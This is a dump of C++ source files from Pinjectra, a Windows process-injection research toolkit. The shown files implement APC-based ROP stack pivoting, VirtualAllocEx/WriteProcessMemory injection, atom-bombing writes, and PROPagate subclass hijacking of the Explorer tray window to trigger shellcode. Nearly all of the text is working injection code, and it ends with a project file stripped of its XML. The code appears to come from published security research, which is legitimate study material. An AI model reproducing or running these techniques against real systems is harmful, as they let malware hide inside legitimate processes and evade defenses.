= *payload_output->metadata; 59 | 60 | DWORD64 orig_tos = tMetadata["orig_tos"]; 61 | DWORD64 tos = tMetadata["tos"]; 62 | DWORD64 rop_pos = tMetadata["rop_pos"]; 63 | DWORD64* ROP_chain = (DWORD64*)payload_output->buffer; 64 | DWORD64 saved_return_address = tMetadata["saved_return_address"]; 65 | DWORD64 GADGET_pivot = tMetadata["GADGET_pivot"]; 66 | 67 | NtQueueApcThread = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, PVOID, __int64)) GetProcAddress(ntdll, "NtQueueApcThread"); 68 | 69 | // Grow the stack to accommodate the new stack 70 | for (DWORD64 i = orig_tos - 0x1000; i >= tos; i -= 0x1000) 71 | { 72 | (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(i), (void*)0, 1); 73 | } 74 | 75 | // Write the new stack 76 | for (int i = 0; i < rop_pos * sizeof(DWORD64); i++) 77 | { 78 | (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(tos + i), (void*) * (((BYTE*)ROP_chain) + i), 1); 79 | } 80 | // Save the original return address into the new stack 81 | (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memmove"), (void*)(ROP_chain[saved_return_address]), (void*)orig_tos, 8); 82 | 83 | // overwrite the original return address with GADGET_pivot 84 | for (int i = 0; i < sizeof(tos); i++) 85 | { 86 | (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos + i), (void*)(((BYTE*)& GADGET_pivot)[i]), 1); 87 | } 88 | // overwrite the original tos+8 with the new tos address (we don't need to restore this since it's shadow stack! 89 | for (int i = 0; i < sizeof(tos); i++) 90 | { 91 | (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos + 8 + i), (void*)(((BYTE*)& tos)[i]), 1); 92 | } 93 | 94 | return payload_output; 95 | } 96 | 97 | NtQueueApcThread_WITH_memset::~NtQueueApcThread_WITH_memset() { 98 | 99 | } 100 | -------------------------------------------------------------------------------- /Pinjector/NQAT_WITH_MEMSET.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | 36 | // Local Include's 37 | #include "WritingTechniques.h" 38 | #include "PinjectraPacket.h" 39 | #include "DynamicPayloads.h" 40 | 41 | class NtQueueApcThread_WITH_memset : 42 | public ComplexMemoryWriter 43 | { 44 | public: 45 | // Constructor & Destructor 46 | NtQueueApcThread_WITH_memset(DynamicPayload* rop_chain_gen) : 47 | m_rop_chain_gen(rop_chain_gen) { } 48 | 49 | ~NtQueueApcThread_WITH_memset(); 50 | 51 | // Methods 52 | PINJECTRA_PACKET* eval_and_write(TARGET_PROCESS* target, TStrDWORD64Map& params); 53 | 54 | protected: 55 | // Members 56 | DynamicPayload* m_rop_chain_gen; 57 | }; 58 | -------------------------------------------------------------------------------- /Pinjector/OP_VAE_WPM.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | // Standard Include's 32 | #include 33 | 34 | // Local Include's 35 | #include "OP_VAE_WPM.h" 36 | 37 | OpenProcess_VirtualAllocEx_WriteProcessMemory::~OpenProcess_VirtualAllocEx_WriteProcessMemory() 38 | { 39 | } 40 | 41 | RUNTIME_MEM_ENTRY* OpenProcess_VirtualAllocEx_WriteProcessMemory::write(DWORD pid, DWORD tid) 42 | { 43 | BOOL writeprocmem_res; 44 | RUNTIME_MEM_ENTRY* ret_entry; 45 | LPVOID addr; 46 | 47 | // Open 48 | HANDLE h = OpenProcess(this->m_OpenProcess_dwDesiredAccess, FALSE, pid); 49 | 50 | if (h == NULL) { 51 | std::cerr << "OpenProcess failed, error=" << GetLastError() << std::endl; 52 | return NULL; 53 | } 54 | 55 | // Allocate 56 | addr = VirtualAllocEx(h, NULL, this->m_nbyte, this->m_VirtualAllocEx_flAllocationType, this->m_VirtualAllocEx_flProtect); 57 | 58 | if (addr == NULL) { 59 | std::cerr << "VirtualAllocEx failed, error=" << GetLastError() << std::endl; 60 | return NULL; 61 | } 62 | 63 | // Write 64 | writeprocmem_res = WriteProcessMemory(h, addr, this->m_buf, this->m_nbyte, NULL); 65 | 66 | // Fill in 67 | ret_entry = (RUNTIME_MEM_ENTRY*)malloc(sizeof(RUNTIME_MEM_ENTRY)); 68 | 69 | if (ret_entry == NULL) 70 | return NULL; 71 | 72 | ret_entry->thread = NULL; 73 | ret_entry->process = h; 74 | ret_entry->addr = addr; 75 | ret_entry->entry_point = addr; 76 | 77 | return ret_entry; 78 | } 79 | -------------------------------------------------------------------------------- /Pinjector/OP_VAE_WPM.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | 36 | // Local Include's 37 | #include "WritingTechniques.h" 38 | 39 | class OpenProcess_VirtualAllocEx_WriteProcessMemory : 40 | public SimpleMemoryWriter 41 | { 42 | public: 43 | // Constructor & Destructor 44 | OpenProcess_VirtualAllocEx_WriteProcessMemory(void* buf, size_t nbyte, DWORD dwDesiredAccess, DWORD flAllocationType, DWORD flProtect) 45 | :m_buf(buf), 46 | m_nbyte(nbyte), 47 | m_OpenProcess_dwDesiredAccess(dwDesiredAccess), 48 | m_VirtualAllocEx_flAllocationType(flAllocationType), 49 | m_VirtualAllocEx_flProtect(flProtect) { } 50 | 51 | ~OpenProcess_VirtualAllocEx_WriteProcessMemory(); 52 | 53 | // Methods 54 | RUNTIME_MEM_ENTRY* write(DWORD pid, DWORD tid); 55 | 56 | protected: 57 | // Members 58 | void* m_buf; 59 | size_t m_nbyte; 60 | DWORD m_OpenProcess_dwDesiredAccess; 61 | DWORD m_VirtualAllocEx_flAllocationType; 62 | DWORD m_VirtualAllocEx_flProtect; 63 | }; 64 | -------------------------------------------------------------------------------- /Pinjector/OT_OP_VAE_GAAA.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "OT_OP_VAE_GAAA.h" 32 | 33 | OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA::~OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA() 34 | { 35 | } 36 | 37 | NTSTATUS(NTAPI* pNtQueueApcThread)( 38 | _In_ HANDLE ThreadHandle, 39 | _In_ PVOID ApcRoutine, 40 | _In_ PVOID ApcRoutineContext OPTIONAL, 41 | _In_ PVOID ApcStatusBlock OPTIONAL, 42 | _In_ PVOID ApcReserved OPTIONAL 43 | ); 44 | 45 | RUNTIME_MEM_ENTRY* OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA::write(DWORD pid, DWORD tid) 46 | { 47 | HANDLE th; 48 | DWORD process_id; 49 | LPVOID target_payload; 50 | RUNTIME_MEM_ENTRY* ret_entry; 51 | char* payload = (char *)this->m_buf; 52 | 53 | pNtQueueApcThread = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, PVOID, PVOID)) GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread"); 54 | 55 | th = OpenThread(THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION, FALSE, tid); 56 | if (th == NULL) 57 | return NULL; 58 | 59 | process_id = GetProcessIdOfThread(th); 60 | HANDLE p = OpenProcess(this->m_OpenProcess_dwDesiredAccess, FALSE, process_id); 61 | if (p == NULL) 62 | return NULL; 63 | 64 | target_payload = VirtualAllocEx(p, NULL, this->m_nbyte, this->m_VirtualAllocEx_flAllocationType, this->m_VirtualAllocEx_flProtect); //MEM_COMMIT guarantees 0's. 65 | if (target_payload == NULL) 66 | return NULL; 67 | 68 | CloseHandle(p); 69 | 70 | ATOM b = GlobalAddAtomA("b"); // arbitrary one char string 71 | if (b == 0) 72 | return NULL; 73 | 74 | if (payload[0] == '\0') 75 | return NULL; 76 | 77 | for (DWORD64 pos = this->m_nbyte - 1; pos > 0; pos--) 78 | { 79 | if ((payload[pos] == '\0') && (payload[pos - 1] == '\0')) 80 | { 81 | (*pNtQueueApcThread)(th, GlobalGetAtomNameA, (PVOID)b, (PVOID)(((DWORD64)target_payload) + pos - 1), (PVOID)2); 82 | } 83 | } 84 | 85 | for (char* pos = payload; pos < (payload + this->m_nbyte); pos += strlen(pos) + 1) 86 | { 87 | if (*pos == '\0') 88 | continue; 89 | 90 | ATOM a = GlobalAddAtomA(pos); 91 | if (a == 0) 92 | return NULL; 93 | 94 | DWORD64 offset = pos - payload; 95 | (*pNtQueueApcThread)(th, GlobalGetAtomNameA, (PVOID)a, (PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos) + 1)); 96 | } 97 | 98 | // Fill in 99 | ret_entry = (RUNTIME_MEM_ENTRY*)malloc(sizeof(RUNTIME_MEM_ENTRY)); 100 | 101 | if (ret_entry == NULL) 102 | return NULL; 103 | 104 | ret_entry->thread = th; 105 | ret_entry->process = NULL; 106 | ret_entry->addr = target_payload; 107 | ret_entry->entry_point = target_payload; 108 | 109 | return ret_entry; 110 | } 111 | 112 | -------------------------------------------------------------------------------- /Pinjector/OT_OP_VAE_GAAA.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Local Include's 34 | #include "WritingTechniques.h" 35 | 36 | class OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA : 37 | public SimpleMemoryWriter 38 | { 39 | public: 40 | OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA(void* buf, size_t nbyte, DWORD dwDesiredAccess, DWORD flAllocationType, DWORD flProtect) 41 | :m_buf(buf), 42 | m_nbyte(nbyte), 43 | m_OpenProcess_dwDesiredAccess(dwDesiredAccess), 44 | m_VirtualAllocEx_flAllocationType(flAllocationType), 45 | m_VirtualAllocEx_flProtect(flProtect) { } 46 | 47 | ~OpenThread_OpenProcess_VirtualAllocEx_GlobalAddAtomA(); 48 | 49 | // Methods 50 | RUNTIME_MEM_ENTRY* write(DWORD pid, DWORD tid); 51 | 52 | protected: 53 | // Members 54 | void* m_buf; 55 | size_t m_nbyte; 56 | DWORD m_OpenProcess_dwDesiredAccess; 57 | DWORD m_VirtualAllocEx_flAllocationType; 58 | DWORD m_VirtualAllocEx_flProtect; 59 | }; 60 | 61 | -------------------------------------------------------------------------------- /Pinjector/PROPagate.cpp: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #include "PROPagate.h" 32 | 33 | CodeViaPROPagate::~CodeViaPROPagate() 34 | { 35 | } 36 | 37 | boolean CodeViaPROPagate::inject(DWORD ignored_1, DWORD ignored_2) 38 | { 39 | RUNTIME_MEM_ENTRY* result; 40 | LPVOID target_payload; 41 | HWND h = FindWindowA("Shell_TrayWnd", NULL); 42 | char new_subclass[0x50]; 43 | DWORD pid; 44 | 45 | if (h == NULL) 46 | { 47 | printf("FindWindow failed, error: 0x%08x\n", GetLastError()); 48 | exit(0); 49 | } 50 | GetWindowThreadProcessId(h, &pid); 51 | //printf("*** pid=%d\n", pid); 52 | //printf("[*] Locating sub window\n"); 53 | HWND hst = GetDlgItem(h, 303); // System Tray 54 | if (hst == NULL) 55 | { 56 | printf("GetDlgItem(1) failed, error: 0x%08x\n", GetLastError()); 57 | exit(0); 58 | } 59 | //printf("[*] Locating dialog item\n"); 60 | 61 | HWND hc = GetDlgItem(hst, 1504); 62 | if (hc == NULL) 63 | { 64 | printf("GetDlgItem(1) failed, error: 0x%08x\n", GetLastError()); 65 | exit(0); 66 | } 67 | 68 | /* Get Handle to process */ 69 | 70 | //printf("[*] Opening process\n"); 71 | HANDLE p = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 72 | if (p == NULL) 73 | { 74 | printf("OpenProcess failed, error: 0x%08x\n", GetLastError()); 75 | exit(0); 76 | } 77 | 78 | result = this->m_memwriter->writeto(p, 0); 79 | 80 | target_payload = result->addr; 81 | 82 | HANDLE target_new_subclass = (HANDLE)VirtualAllocEx(p, NULL, sizeof(new_subclass), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 83 | if (target_new_subclass == NULL) 84 | { 85 | printf("VirtualAllocEx(2) failed, error: 0x%08x\n", GetLastError()); 86 | exit(0); 87 | } 88 | //(HANDLE)(((DWORD64)target_payload) + sizeof(payload)); //target memory address for fake subclass structure 89 | 90 | HANDLE old_subclass = GetPropA(hc, "UxSubclassInfo"); //handle is the memory address of the current subclass structure 91 | 92 | if (!ReadProcessMemory(p, (LPCVOID)old_subclass, (LPVOID)new_subclass, sizeof(new_subclass), NULL)) 93 | { 94 | printf("ReadProcessMemory failed, error: 0x%08x\n", GetLastError()); 95 | exit(0); 96 | } 97 | 98 | //printf("[+] Current subclass structure was read to memory\n"); 99 | 100 | 101 | memcpy(new_subclass + 0x18, &target_payload, sizeof(target_payload)); 102 | //printf("[*] Writing fake subclass to process\n"); 103 | if (!WriteProcessMemory(p, (LPVOID)(target_new_subclass), (LPVOID)new_subclass, sizeof(new_subclass), NULL)) 104 | { 105 | printf("WriteProcessMemory(2) failed, error: 0x%08x\n", GetLastError()); 106 | exit(0); 107 | } 108 | 109 | //printf("[+] Fake subclass structure is written to memory\n"); 110 | //printf("[+] Press enter to unhook the function and exit\r\n"); 111 | //getchar(); 112 | 113 | //SetProp(control, "CC32SubclassInfo", h); 114 | //printf("[*] Setting fake SubClass property\n"); 115 | SetPropA(hc, "UxSubclassInfo", target_new_subclass); 116 | //printf("[*] Triggering shellcode....!!!\n"); 117 | PostMessage(hc, WM_KEYDOWN, VK_NUMPAD1, 0); 118 | 119 | Sleep(1); 120 | //printf("[+] Restoring subclass header.\n"); 121 | SetPropA(hc, "UxSubclassInfo", old_subclass); 122 | } 123 | -------------------------------------------------------------------------------- /Pinjector/PROPagate.h: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2019, SafeBreach 2 | // All rights reserved. 3 | // 4 | // Redistribution and use in source and binary forms, with or without 5 | // modification, are permitted provided that the following conditions are met: 6 | // 7 | // * Redistributions of source code must retain the above copyright notice, 8 | // this list of conditions and the following disclaimer. 9 | // * Redistributions in binary form must reproduce the above copyright 10 | // notice, this list of conditions and the following disclaimer in the 11 | // documentation and/or other materials provided with the distribution. 12 | // * Neither the name of the copyright holder nor the names of its 13 | // contributors may be used to endorse or promote products derived from 14 | // this software without specific prior written permission. 15 | // 16 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 17 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 18 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 19 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 20 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 22 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 23 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 24 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 25 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | 28 | // AUTHORS: Amit Klein, Itzik Kotler 29 | // SEE: https://github.com/SafeBreach-Labs/Pinjectra 30 | 31 | #pragma once 32 | 33 | // Standard Include's 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | // Local Include's 40 | #include "ExecutionTechnique.h" 41 | #include "WritingTechniques.h" 42 | 43 | class CodeViaPROPagate : 44 | public ExecutionTechnique 45 | { 46 | public: 47 | // Constructor & Desturctor 48 | CodeViaPROPagate(AdvanceMemoryWriter* memwriter) 49 | :m_memwriter(memwriter) { } 50 | ~CodeViaPROPagate(); 51 | 52 | // Methods 53 | boolean inject(DWORD pid, DWORD tid); 54 | 55 | protected: 56 | // Members 57 | AdvanceMemoryWriter* m_memwriter; 58 | }; 59 | -------------------------------------------------------------------------------- /Pinjector/Pinjector.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {B98CEFBF-BE57-445E-A8D1-24C8A32DE169} 24 | Win32Proj 25 | Pinjector 26 | 10.0 27 | Pinjectra 28 | 29 | 30 | 31 | Application 32 | true 33 | v142 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v142 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v142 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | false 76 | 77 | 78 | true 79 | 80 | 81 | true 82 | 83 | 84 | false 85 | 86 | 87 | 88 | 89 | 90 | Level3 91 | MaxSpeed 92 | true 93 | true 94 | true 95 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 96 | true 97 | 98 | 99 | Console 100 | true 101 | true 102 | true 103 | 104 | 105 | 106 | 107 | 108 | 109 | Level3 110 | Disabled 111 | true 112 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 113 | true 114 | 115 | 116 | Console 117 | true 118 | 119 | 120 | 121 | 122 | 123 | 124 | Level3 125 | Disabled 126 | true 127 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 128 | true 129 | 130 | 131 | Console 132 | true 133 | 134 | 135 | 136 | 137 | 138 | 139 | Level3 140 | MaxSpeed 141 | true 142 | true 143 | true 144 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 145 | true 146 | 147 | 148 | Console 149 | true 150 | true 151 | true 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | -------------------------------------------------------------------------------- /Pinjector/Pinjector.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {f3e6cc6e-0e96-46da-99de-d6e9310dac5a} 14 | 15 | 16 | 